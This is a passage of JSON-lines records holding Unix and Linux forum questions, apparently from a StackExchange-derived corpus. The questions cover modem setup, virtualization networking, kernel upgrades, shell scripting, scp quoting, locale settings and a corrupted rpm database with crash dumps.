= 4 >>>>>> value = 03:00:D1:07 >>>>>> translated = [ type = 'cm' reason = '2001' ] error: couldn't start network: QMI protocol error (14): 'CallFailed' call end reason (3): generic-no-service verbose call end reason (3,2001): [cm] no-service [/dev/cdc-wdm0] Client ID not released: Service: 'wds' CID: '8' [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Unregistered 'wds' client with ID '8' [27 elo 2014, 12:41:16] [Debug] Client released I can also set my pin code with `qmcli`: # qmicli --dms-uim-verify-pin=PIN,xxxx -d /dev/cdc-wdm0 [/dev/cdc-wdm0] PIN verified successfully And get some information: # qmicli -d /dev/cdc-wdm0 --dms-get-manufacturer [/dev/cdc-wdm0] Device manufacturer retrieved: Manufacturer: 'Sierra Wireless, Incorporated' # qmicli -d /dev/cdc-wdm0 --dms-get-model [/dev/cdc-wdm0] Device model retrieved: Model: 'MC8805' # qmicli -d /dev/cdc-wdm0 --dms-get-capabilities [/dev/cdc-wdm0] Device capabilities retrieved: Max TX channel rate: '5742000' Max RX channel rate: '42200000' Data Service: 'non-simultaneous-cs-ps' SIM: 'supported' Networks: 'gsm, umts'"} {"_id": "89875", "title": "OpenVZ bridged networked adapters won't work from sample configs", "text": "I've made a copy of the basic config and added the line: NETIF=\"ifname=eth0,bridge=br0\" When I create a new machine and enter it I can't make the network adapter work yet creating an instance from the basic config (and same template os) and then applying: vzctl set 101 --netif_add eth0,,,,br0 --save This configuration works fine. I've checked the configs of any machines made with the first method and it seems to create the configs correctly yet this problem still persists. Any ideas?"} {"_id": "126508", "title": "pfSense and Belkin Integration", "text": "I am in a unique situation. I want to have my previous Linux box as a router, but I don't have wireless capability on it or even a second ethernet port, so I was wondering if there was a way I could make use of pfSense despite this, until I get the new parts? What I'd like to do, specifically, is let the box monitor and firewall for the network, but obviously I run into a problem on the second part, as I don't have a way for it to be the first connection in the chain. So, for the weekend I can settle for some sniffing/caching abilities, but I'd like to know how they might be implemented? I'm aware that pfSense is the way to go as far as the overall router setup goes, but perhaps there are lesser apps that will do me a favor in the meantime?"} {"_id": "126505", "title": "How to select which OS kernel to upgrade when multiple OS'es are installed?", "text": "I am trying to upgrade my kernel on a machine with multiple OS'es. I have a Red Hawk OS (a real-time Red Hat variant) and Red Hat installed. I can select which OS to boot into using grub. I'd like to upgrade the Red Hat OS which is currently running kernel 2.6 to kernel 3.11. I booted into the Red Hat OS using Grub and then I followed the instructions here (which I have used successfully before to upgrade a CentOS): http://www.linuxfunda.com/2013/11/08/how-to-upgrade-the-kernel-on-centos/ However the commands seem to upgrade my Red Hawk OS instance instead of the Red Hat OS instance. When I look at the grub entries I see the following: title RedHawk Linux (3.10.37) root (hd0,0) kernel /vmlinuz-3.10.37 ro root=/dev/mapper/vg_dornier-lv_root rd_NO_LUKS LANG=en_US.UTF-8 rd_NO_MD rd_LVM_LV=vg_dornier/lv_swap SYSFONT=latarcyrheb-sun16 crashkernel=auto rd_LVM_LV=vg_dornier/lv_root KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb nmi_watchdog=0 enforcing=0 quiet isolcpus=6,7 initrd /initramfs-3.10.37.img How can I appropriately select which OS to upgrade?"} {"_id": "126507", "title": "Bash script to remove user", "text": "I need to create a Bash script to remove a user. We use RHEL version 4, 5, & 6. Lets say usernames are Ray4 & Ray6 & the script name is deal. Specific tasks for this script are: 1. Does the user exist ? 2. If user exists, backup /homedirectory for this user, remove username and place in /root/DeletedUsers 3. If /root/DeletedUsers directory doesn't exist, create it. 4. If any firewall rules exist for this user, email me the results for those rules and on which nodes. 5. If this user exists in sudoers, don't delete, but comment out. This is what I have so far. I want to make sure this works, before I run it in RHN Satellite. After making the suggested changes. Here are the new errors I am getting now. [root@localhost bin]# ./deal ./deal: line 7: [[!: command not found Usage: userdel [options] LOGIN Options: -f, --force force removal of files, even if not owned by user -h, --help display this help message and exit -r, --remove remove home directory and mail spool -Z, --selinux-user remove SELinux user from SELinux user mapping Usage: userdel [options] LOGIN Options: -f, --force force removal of files, even if not owned by user -h, --help display this help message and exit -r, --remove remove home directory and mail spool -Z, --selinux-user remove SELinux user from SELinux user mapping Null message body; hope that's ok ./deal: line 22: [: -me: binary operator expected This is source code: [root@localhost bin]# cat -n deal 1 #!/bin/bash 2 3 count=$(egrep -c Ray[46] /etc/passwd) 4 firewall=$(grep -c \"192.168.5.5\" /etc/sysconfig/iptables) 5 doers=$(egrep -c Ray[46] /etc/sudoers) 6 7 if [[! -d /root/DeletedUsers]] 8 then mkdir /root/DeletedUsers 9 10 fi 11 12 cp -Rf /home/Ray[46] /root/DeletedUsers 13 userdel -rf Ray [4] 14 userdel -rf Ray [6] 15 16 if [ $firewall -ne 0 ] 17 18 then mail -s \"$firewallrulesexist\" emailaddress < /dev/null 19 20 fi 21 22 if [ $doers -me 0 ] 23 then sed ^Ray[46] /#/i 24 25 EOF 26 fi"} {"_id": "126501", "title": "cp: what quotation marks are used in error messages?", "text": "I'm currently fiddling around with a dying harddisk, and while trying to `cp` data from it, I get errors like cp: error reading \u2018brokenFile\u2019: Input/output error # comparison: backtick: `, apostrophe ' I now try to copy the failed files again by using `sed` to convert the error messages to new `cp` invocations (I was successfull some times already). But: what are the funny quotation marks? They are even different at start/end. It is no backtick and no apostrophe. I copy/pasted it into my regex, but is there a better way? Maybe using compose?"} {"_id": "92384", "title": "How to empty a log file?", "text": "Currently my log files get very big. Is there a command to empty the files without delete and restore it? It involves 2 command which is sometimes taking too long."} {"_id": "122852", "title": "How kernel allows a process to receive network data that do not belong to it?", "text": "Each process is assigned with port number when using network resource. A process can only send and receive network data from its assigned port number. How kernel allows security programs like IDS, IPS and Wireshark receive all network data that do not belong to them? What system calls or library routines involved that allow this?"} {"_id": "127676", "title": "How to get source code of running Fedora linux?", "text": "This is the first time I am working on Fedora. I will be writing some device drivers. I understand that for proper compilation of the driver I must have the same source code as that of the running kernel. In Ubuntu I used to do this using `apt-get`. But this is not working in Fedora, so how do I download this?"} {"_id": "88800", "title": "CentOS 6.2 black screen...help", "text": "I'm facing some problems with the CentOS graphical interface. When I try to reboot the machines, it seems everything okay. I can connect to the machine through `ssh` from other machine and it has no problem with using it. However, the screen on the actual machine (CentOS 6.2) shows me a black screen after the CentOS logo disappears. It should show me the login screen but nothing is on the screen. * Can anyone know what would be the problem here? * Can I try to re-install the graphical interface again? If so, how?"} {"_id": "40407", "title": "Which Unix tool for Pixel-art -generation?", "text": "I have had problems to generate pixel art for a game where units are of specific sizes such as 55x55 (not geometry but by pixels i.e. 55 pixels by 55 pixels). I have tried Gimp where I have misread many-times the sizes with the select tool -- it is irritating to get a bit too distorted size. Then I have used Inkscape that works actually quite good -- you generate the vector-image and select it and then you go to `\"Export to bitmap\"` where you can specify the size (this same feature is probably also in Blender, probably as easy). Anyway I am looking for something more powerful like having helper color- palettes easily or automatically-done perhaps like here with Gimp. I can find a variety of tools mentioning pixels but I hope you to point out the best before trying all of them. $ apt-cache search pixel|wc 99 861 6029 > **Perhaps related** > > 1. http://graphicdesign.stackexchange.com/questions/7860/how-can-i-adjoin- > images-with-imagemagick-for-pixel-art > > 2. Some example with Photoshop here, create pixel art by reusing basic > things such as hands, hairs and bodies (create separate files for them). > > 3. A pixel-art competition here. > > 4. Using blender for generating stuff here programmatically. > >"} {"_id": "40406", "title": "Shell script: find iconized programs , if found , activate it", "text": "Stardict uses a tray icon , also allows multiple instance of itself , but sadly , i don't use a panel , so no notification area available. But when I hit on close , it minimized to tray , is there a way to find its \"Window\" ? if the WId was found , activate this window by sending some X message ? I'm not sure if it's possible. (for hidden windows) Thanks , and please provide a simple bash script"} {"_id": "40400", "title": "gnome-open replaced by sublime?", "text": "**Update:** It seems that it has been automatically fixed, however the same applies whenever I try to `sudo gnome-open` or `gksu gnome-open` Well, this is a really weird one. I'm currently running Mint 13 and I just installed all my apps, including Sublime Text 2 and Dropbox. Whenever I click the dropbox icon, instead of opening the folder, it opens sublime, the equivalent of running `sublime-text-2 `. Initially I thought it was a Dropbox bug, but when I tried to run `gnome-open .`, sublime gets opened (twice) instead of a files browser. What could be happening here? I get the same result by running `mate-open .`, altough both commands appear to be in the right directory: ~ \u00bb whereis gnome-open gnome-open: /usr/bin/gnome-open /usr/bin/X11/gnome-open /usr/share/man/man1/gnome-open.1.gz ~ \u00bb whereis mate-open mate-open: /usr/bin/mate-open /usr/bin/X11/mate-open Also, I tried uninstalling sublime and both commands now work as they should, but whenever I install sublime, the same happens! Thanks for your time."} {"_id": "40408", "title": "Can CONFIG_NTFS_FS be disabled completely?", "text": "I use ntfs-3g as file system type , I'm wondering if `CONFIG_NTFS_FS` is still necessary ? Seem you could remove that. Also does ntfs-3g have better performance than kernel ntfs driver ?"} {"_id": "140033", "title": "What perl script will scp directory with spaces in name?", "text": "I\"ve been trying for several hours to figure out how to get perl to `scp` a directory with a space in the name. I'm currently getting the error scp: ambiguous target Here is the script that is not working: #!/usr/bin/perl # Assuming you already have passwordless ssh setup from some account to root on HOST # On HOST, setup test files and directories # root@HOST$ mkdir /tmp/from/spaced\\ mydir # root@HOST$ touch /tmp/from/spaced\\ mydir/t1 # root@HOST$ mkdir /tmp/to my $HOST='localhost'; my $escaped_component_name = 'spaced mydir'; # try to form scp from-arg that will preserve the space # in the directory name by escaping whitespace with backslash $escaped_component_name =~ s/(\\s)/\\\\$1/g; my $scp_from = '/tmp/from/'.$escaped_component_name.'/*'; my $scp_to = '/tmp/to/'.$escaped_component_name; system 'scp', '-vr', '--', 'root@'.$HOST.':'.$scp_from, 'root@'.$HOST.':'.$scp_to; Anyone see what I'm doing wrong?"} {"_id": "65523", "title": "Unable to write to file on FreeBSD -- read-only filesystem", "text": "I bought a load balancer that runs the application on of FreeBSD. I found the configuration file that has all the settings and login information for both the admin and read-only users. I logged in as the root user, but when I try to alter any files using `vi` (the only editor installed) I get a read-only filesystem error. I tried `chmod 777 file`, and when I do `ls -l` I can see that root has read, write, and execute privileges, but it still won't let me write to the file. What do I need to do to make this file writable?"} {"_id": "126208", "title": "How to actually test locale", "text": "So I know what locale does. Sets the output format of certain programs depending on what country/language you're in, for example 1000000 can be formatted like 1,000,000.00 1 000 000.00 1.000.000,00 and a variety of others on output. But is there a program to literally test this so that I could do `export LC_ALL=en_GB.utf8` vs `export LC_ALL=en_US.utf8` and observe different output?"} {"_id": "47750", "title": "Combining multiple commands into a single line", "text": "I had a directory named `myname` which was archived in `myname.tar`. Now I want to take `myname.tar`, unarchive it, and delete all the files in the `myname` directory (after unarchiving). Here are my commands for the above task: find -name deleteme.tar tar -xvf deleteme.tar rm -r delete/* These individual commands are working fine, but I need a one-line command, so I tried this: find -name deleteme.tar | tar -xvf deleteme.at | rm -r delete/* I got this error: \"rm -r deleteme/* rm: cannot remove `deleteme/*': No such file or directory \" What am I doing wrong?"} {"_id": "136904", "title": "[RESOLVED]Various programs not working after yum install some packages", "text": "[RESOLVED]I found out that the Memory chip cause the problems. I change it and the system work fine now! * * * I'm using RHEL6.0 and encounter the problem that gdb,yum,rpm don't work any more. Perhaps package dependencies caused the problem. # lsb_release -a LSB Version: :base-4.0-ia32:base-4.0-noarch:core-4.0-ia32:core-4.0-noarch:graphics-4.0-ia32:graphics-4.0-noarch:printing-4.0-ia32:printing-4.0-noarch Distributor ID: RedHatEnterpriseServer Description: Red Hat Enterprise Linux Server release 6.0 (Santiago) Release: 6.0 Codename: Santiago # uname -a Linux electronics.server 2.6.32-431.11.2.el6.i686 #1 SMP Tue Mar 25 17:17:46 UTC 2014 i686 i686 i386 GNU/Linux Running `gdb` either returns an error or crashes randomly: #gdb gdb: symbol lookup error: /usr/lib/libpython2.6.so.1.0: undefined symbol: yCodec_Lookup `yum` also fails: #yum There was a problem importing one of the Python modules required to run yum. The error leading to this problem was: /usr/lib/python2.6/site-packages/rpm/_rpmmodule.so: undefined symbol: headerKsEntry Please install a package which provides this module, or verify that the module is installed correctly. It's possible that the above module doesn't match the current version of Python, which is: 2.6.6 (r266:84292, Jan 22 2014, 09:37:14) [GCC 4.4.7 20120313 (Red Hat 4.4.7-4)] If you cannot solve this problem yourself, please go to the yum faq at: http://yum.baseurl.org/wiki/Faq Segmentation fault (core dumped) I used `rpm` to check: # rpm -V python yum error: rpmdb: damaged header #759 retrieved -- skipping. error: rpmdbNextIterator: skipping h# 764 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD package python is not installed error: rpmdbNextIterator: skipping h# 764 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 764 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 764 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 764 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1107 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD Unsatisfied dependencies for yum-3.2.29-43.el6.centos.noarch: /usr/bin/python is needed by yum-3.2.29-43.el6.centos.noarch python >= 2.4 is needed by yum-3.2.29-43.el6.centos.noarch python(abi) = 2.6 is needed by yum-3.2.29-43.el6.centos.noarch python-sqlite is needed by yum-3.2.29-43.el6.centos.noarch ..5...... /usr/lib/python2.6/site-packages/rpmUtils/miscutils.pyc ..5...... /usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyc ..5...... /usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyo ..5...... /usr/lib/python2.6/site-packages/rpmUtils/updates.pyc ..5...... /usr/lib/python2.6/site-packages/rpmUtils/updates.pyo ..5...... /usr/lib/python2.6/site-packages/yum/__init__.py ..5...... /usr/lib/python2.6/site-packages/yum/__init__.pyc ..5...... /usr/lib/python2.6/site-packages/yum/misc.pyo ..5...... /usr/lib/python2.6/site-packages/yum/packageSack.pyc ..5...... /usr/lib/python2.6/site-packages/yum/packageSack.pyo ..5...... /usr/lib/python2.6/site-packages/yum/packages.py ..5...... /usr/lib/python2.6/site-packages/yum/packages.pyo ..5...... /usr/lib/python2.6/site-packages/yum/parser.py ..5...... /usr/lib/python2.6/site-packages/yum/plugins.pyc ..5...... /usr/lib/python2.6/site-packages/yum/plugins.pyo ..5...... /usr/lib/python2.6/site-packages/yum/repoMDObject.pyc ..5...... /usr/lib/python2.6/site-packages/yum/repoMDObject.pyo ..5...... /usr/lib/python2.6/site-packages/yum/rpmsack.py ..5...... /usr/lib/python2.6/site-packages/yum/rpmsack.pyc ..5...... /usr/lib/python2.6/site-packages/yum/rpmsack.pyo ..5...... /usr/lib/python2.6/site-packages/yum/sqlitesack.pyc ..5...... /usr/lib/python2.6/site-packages/yum/update_md.pyc ..5...... /usr/lib/python2.6/site-packages/yum/update_md.pyo ..5...... /usr/lib/python2.6/site-packages/yum/yumRepo.pyc ..5...... /usr/lib/python2.6/site-packages/yum/yumRepo.pyo ..5...... d /usr/share/doc/yum-3.2.29/COPYING ..5...... d /usr/share/doc/yum-3.2.29/ChangeLog ..5...... /usr/share/locale/es/LC_MESSAGES/yum.mo ..5...... /usr/share/locale/fr/LC_MESSAGES/yum.mo ..5...... /usr/share/locale/ja/LC_MESSAGES/yum.mo ..5...... /usr/share/locale/pa/LC_MESSAGES/yum.mo ..5...... /usr/share/locale/ru/LC_MESSAGES/yum.mo ..5...... /usr/share/locale/sr/LC_MESSAGES/yum.mo ..5...... /usr/share/locale/sr@latin/LC_MESSAGES/yum.mo ..5...... /usr/share/locale/uk/LC_MESSAGES/yum.mo ..5...... /usr/share/yum-cli/callback.py ..5...... /usr/share/yum-cli/cli.py ..5...... /usr/share/yum-cli/cli.pyo ..5...... /usr/share/yum-cli/output.py ..5...... /usr/share/yum-cli/utils.pyc ..5...... /usr/share/yum-cli/utils.pyo ..5...... /usr/share/yum-cli/yumcommands.pyc ..5...... /usr/share/yum-cli/yumcommands.pyo # rpm -V rpm rpm-python error: rpmdbNextIterator: skipping h# 1306 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD package rpm is not installed error: rpmdbNextIterator: skipping h# 1307 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD package rpm-python is not installed *** glibc detected *** rpm: free(): invalid pointer: 0x09118fea *** ======= Backtrace: ========= /lib/libc.so.6[0x3bfe31] /lib/libnspr4.so(PR_Free+0x28)[0x2feee98] /lib/libplds4.so[0x318a6b] /lib/libplds4.so(PL_HashTableDestroy+0x67)[0x3181e7] /usr/lib/libnssutil3.so(SECOID_Shutdown+0x26)[0x2fc7046] /usr/lib/libnss3.so[0x302f3b1] /usr/lib/libnss3.so(NSS_Shutdown+0x85)[0x302f5f5] /usr/lib/librpmio.so.1(rpmFreeCrypto+0x24)[0x76d4d4] /usr/lib/librpm.so.1(rpmFreeRpmrc+0x3b9)[0x160379] rpm[0x8049e31] /lib/libc.so.6(__libc_start_main+0xe6)[0x365d26] rpm[0x8049531] ======= Memory map: ======== 0011d000-00181000 r-xp 00000000 fd:00 533150 /usr/lib/librpm.so.1.0.0 00181000-00185000 rw-p 00064000 fd:00 533150 /usr/lib/librpm.so.1.0.0 00185000-00186000 rw-p 00000000 00:00 0 00186000-00192000 r-xp 00000000 fd:00 2491287 /lib/libnss_files-2.12.so 00192000-00193000 r--p 0000b000 fd:00 2491287 /lib/libnss_files-2.12.so 00193000-00194000 rw-p 0000c000 fd:00 2491287 /lib/libnss_files-2.12.so 00194000-001d5000 r-xp 00000000 fd:00 532562 /usr/lib/libsoftokn3.so 001d5000-001d6000 r--p 00040000 fd:00 532562 /usr/lib/libsoftokn3.so 001d6000-001d7000 rw-p 00041000 fd:00 532562 /usr/lib/libsoftokn3.so 00317000-0031a000 r-xp 00000000 fd:00 2491739 /lib/libplds4.so 0031a000-0031b000 r--p 00002000 fd:00 2491739 /lib/libplds4.so 0031b000-0031c000 rw-p 00003000 fd:00 2491739 /lib/libplds4.so 0031e000-00322000 r-xp 00000000 fd:00 2491738 /lib/libplc4.so 00322000-00323000 r--p 00003000 fd:00 2491738 /lib/libplc4.so 00323000-00324000 rw-p 00004000 fd:00 2491738 /lib/libplc4.so 00329000-00347000 r-xp 00000000 fd:00 2491272 /lib/ld-2.12.so 00347000-00348000 r--p 0001d000 fd:00 2491272 /lib/ld-2.12.so 00348000-00349000 rw-p 0001e000 fd:00 2491272 /lib/ld-2.12.so 0034f000-004e0000 r-xp 00000000 fd:00 2491286 /lib/libc-2.12.so 004e0000-004e2000 r--p 00191000 fd:00 2491286 /lib/libc-2.12.so 004e2000-004e3000 rw-p 00193000 fd:00 2491286 /lib/libc-2.12.so 004e3000-004e6000 rw-p 00000000 00:00 0 004e8000-004eb000 r-xp 00000000 fd:00 2491500 /lib/libdl-2.12.so 004eb000-004ec000 r--p 00002000 fd:00 2491500 /lib/libdl-2.12.so 004ec000-004ed000 rw-p 00003000 fd:00 2491500 /lib/libdl-2.12.so 004ef000-00506000 r-xp 00000000 fd:00 2491341 /lib/libpthread-2.12.so 00506000-00507000 r--p 00016000 fd:00 2491341 /lib/libpthread-2.12.so 00507000-00508000 rw-p 00017000 fd:00 2491341 /lib/libpthread-2.12.so 00508000-0050a000 rw-p 00000000 00:00 0 0050c000-00513000 r-xp 00000000 fd:00 2491352 /lib/librt-2.12.so 00513000-00514000 r--p 00006000 fd:00 2491352 /lib/librt-2.12.so 00514000-00515000 rw-p 00007000 fd:00 2491352 /lib/librt-2.12.so 00517000-00529000 r-xp 00000000 fd:00 2491502 /lib/libz.so.1.2.3 00529000-0052a000 r--p 00011000 fd:00 2491502 /lib/libz.so.1.2.3 0052a000-0052b000 rw-p 00012000 fd:00 2491502 /lib/libz.so.1.2.3 0052d000-00555000 r-xp 00000000 fd:00 2491288 /lib/libm-2.12.so 00555000-00556000 r--p 00027000 fd:00 2491288 /lib/libm-2.12.so 00556000-00557000 rw-p 00028000 fd:00 2491288 /lib/libm-2.12.so 00559000-00574000 r-xp 00000000 fd:00 542113 /usr/lib/libmagic.so.1.0.0 00574000-00575000 rw-p 0001b000 fd:00 542113 /usr/lib/libmagic.so.1.0.0 00575000-00577000 rw-p 00000000 00:00 0 00579000-0059c000 r-xp 00000000 fd:00 530543 /usr/lib/librpmbuild.so.1.0.0 0059c000-0059e000 rw-p 00023000 fd:00 530543 /usr/lib/librpmbuild.so.1.0.0 0059e000-005a2000 rw-p 00000000 00:00 0 00667000-00684000 r-xp 00000000 fd:00 2491515 /lib/libselinux.so.1 00684000-00685000 r--p 0001c000 fd:00 2491515 /lib/libselinux.so.1 00685000-00686000 rw-p 0001d000 fd:00 2491515 /lib/libselinux.so.1 00688000-0069d000 r-xp 00000000 fd:00 2491513 /lib/libresolv-2.12.so 0069d000-0069e000 ---p 00015000 fd:00 2491513 /lib/libresolv-2.12.so 0069e000-0069f000 r--p 00015000 fd:00 2491513 /lib/libresolv-2.12.so 0069f000-006a0000 rw-p 00016000 fd:00 2491513 /lib/libresolv-2.12.so 006a0000-006a2000 rw-p 00000000 00:00 0 006a4000-006ba000 r-xp 00000000 fd:00 539294 /usr/lib/libelf-0.152.so 006ba000-006bb000 r--p 00015000 fd:00 539294 /usr/lib/libelf-0.152.so 006bb000-006bc000 rw-p 00016000 fd:00 539294 /usr/lib/libelf-0.152.so 006be000-006ea000 r-xp 00000000 fd:00 542941 /usr/lib/liblua-5.1.so 006ea000-006eb000 rw-p 0002c000 fd:00 542941 /usr/lib/liblua-5.1.so 00729000-0072a000 r-xp 00000000 00:00 0 [vdso] 00758000-00780000 r-xp 00000000 fd:00 539241 /usr/lib/librpmio.so.1.0.0 00780000-00782000 rw-p 00028000 fd:00 539241 /usr/lib/librpmio.so.1.0.0 00782000-00784000 rw-p 00000000 00:00 0 007b5000-007b8000 r-xp 00000000 fd:00 2494002 /lib/libcap.so.2.16 007b8000-007b9000 rw-p 00002000 fd:00 2494002 /lib/libcap.so.2.16 00909000-0090e000 r-xp 00000000 fd:00 2491285 /lib/libnss_dns-2.12.so 0090e000-0090f000 r--p 00004000 fd:00 2491285 /lib/libnss_dns-2.12.so 0090f000-00910000 rw-p 00005000 fd:00 2491285 /lib/libnss_dns-2.12.so 009b6000-00a10000 r-xp 00000000 fd:00 2491524 /lib/libfreebl3.so 00a10000-00a11000 r--p 00059000 fd:00 2491524 /lib/libfreebl3.so 00a11000-00a12000 rw-p 0005a000 fd:00 2491524 /lib/libfreebl3.so 00a12000-00a16000 rw-p 00000000 00:00 0 00dea000-00df1000 r-xp 00000000 fd:00 2493999 /lib/libacl.so.1.1.0 00df1000-00df2000 r--p 00006000 fd:00 2493999 /lib/libacl.so.1.1.0 00df2000-00df3000 rw-p 00007000 fd:00 2493999 /lib/libacl.so.1.1.0 02bdb000-02bfe000 r-xp 00000000 fd:00 535421 /usr/lib/liblzma.so.0.0.0 02bfe000-02bff000 rw-p 00022000 fd:00 535421 /usr/lib/liblzma.so.0.0.0 02dfc000-02e19000 r-xp 00000000 fd:00 2491333 /lib/libgcc_s-4.4.7-20120601.so.1 02e19000-02e1a000 rw-p 0001d000 fd:00 2491333 /lib/libgcc_s-4.4.7-20120601.so.1 02e70000-02efe000 r-xp 00000000 fd:00 531021 /usr/lib/libsqlite3.so.0.8.6 02efe000-02f00000 rw-p 0008d000 fd:00 531021 /usr/lib/libsqlite3.so.0.8.6 02fb6000-02fd7000 r-xp 00000000 fd:00 530325 /usr/lib/libnssutil3.so 02fd7000-02fda000 r--p 00021000 fd:00 530325 /usr/lib/libnssutil3.so 02fda000-02fdb000 rw-p 00024000 fd:00 530325 /usr/lib/libnssutil3.so 02fdd000-03017000 r-xp 00000000 fd:00 2491734 /lib/libnspr4.so 03017000-03018000 r--p 00039000 fd:00 2491734 /lib/libnspr4.so 03018000-03019000 rw-p 0003a000 fd:00 2491734 /lib/libnspr4.so 03019000-0301b000 rw-p 00000000 00:00 0 0301d000-03154000 r-xp 00000000 fd:00 530395 /usr/lib/libnss3.so 03154000-03157000 r--p 00136000 fd:00 530395 /usr/lib/libnss3.so 03157000-03159000 rw-p 00139000 fd:00 530395 /usr/lib/libnss3.soAborted (core dumped) Any help or advice would be greatly appreciated. Update: # mv /var/lib/rpm /var/lib/rpm.bak # mkdir /var/lib/rpm # cp /var/lib/rpm.bak/Packages /var/lib/rpm/ # rpm --rebuilddb rpmdb: page 0: illegal page type or format rpmdb: PANIC: Invalid argument error: db3 error(-30974) from dbcursor->c_get: DB_RUNRECOVERY: Fatal error, run database recovery error: error(-30974) getting \"/usr/lib/\" records from Dirnames index rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from dbcursor->c_get: DB_RUNRECOVERY: Fatal error, run database recovery error: error(-30974) getting \"/usr/share/doc/\" records from Dirnames index rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from dbcursor->c_get: DB_RUNRECOVERY: Fatal error, run database recovery error: error(-30974) getting \"/usr/share/doc/libXau-1.0.6/\" records from Dirnames index rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from dbcursor->c_close: DB_RUNRECOVERY: Fatal error, run database recovery rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db->sync: DB_RUNRECOVERY: Fatal error, run database recovery rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db_create: DB_RUNRECOVERY: Fatal error, run database recovery error: cannot open Requireversion index using db3 - (-30974) rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db_create: DB_RUNRECOVERY: Fatal error, run database recovery error: cannot open Provideversion index using db3 - (-30974) rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db_create: DB_RUNRECOVERY: Fatal error, run database recovery error: cannot open Installtid index using db3 - (-30974) rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db_create: DB_RUNRECOVERY: Fatal error, run database recovery error: cannot open Sigmd5 index using db3 - (-30974) rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db_create: DB_RUNRECOVERY: Fatal error, run database recovery error: cannot open Sha1header index using db3 - (-30974) rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db_create: DB_RUNRECOVERY: Fatal error, run database recovery error: cannot open Filedigests index using db3 - (-30974) error: cannot add record originally at 769 rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db->close: DB_RUNRECOVERY: Fatal error, run database recovery rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db->close: DB_RUNRECOVERY: Fatal error, run database recovery rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db->close: DB_RUNRECOVERY: Fatal error, run database recovery rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db->close: DB_RUNRECOVERY: Fatal error, run database recovery rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db->close: DB_RUNRECOVERY: Fatal error, run database recovery rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db->close: DB_RUNRECOVERY: Fatal error, run database recovery rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from db->close: DB_RUNRECOVERY: Fatal error, run database recovery rpmdb: File handles still open at environment close rpmdb: Open file handle: /var/lib/rpmrebuilddb.16120/Packages rpmdb: Open file handle: /var/lib/rpmrebuilddb.16120/Name rpmdb: Open file handle: /var/lib/rpmrebuilddb.16120/Basenames rpmdb: Open file handle: /var/lib/rpmrebuilddb.16120/Group rpmdb: Open file handle: /var/lib/rpmrebuilddb.16120/Requirename rpmdb: Open file handle: /var/lib/rpmrebuilddb.16120/Providename rpmdb: Open file handle: /var/lib/rpmrebuilddb.16120/Dirnames rpmdb: PANIC: fatal region error detected; run recovery error: db3 error(-30974) from dbenv->close: DB_RUNRECOVERY: Fatal error, run database recovery warning: failed to rebuild database: original database remains in place error: failed to remove directory /var/lib/rpmrebuilddb.16120: No such file or directory reinstall `rpm-python` and `python` fails: # rpm -ivh --force rpm-python-4.8.0-37.el6.i686.rpm python-2.6.6-51.el6.i686.rpm error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1186 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 765 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 838 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1306 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 1156 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 765 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: rpmdbNextIterator: skipping h# 766 Header V3 RSA/SHA1 Signature, key ID c105b9de: BAD error: 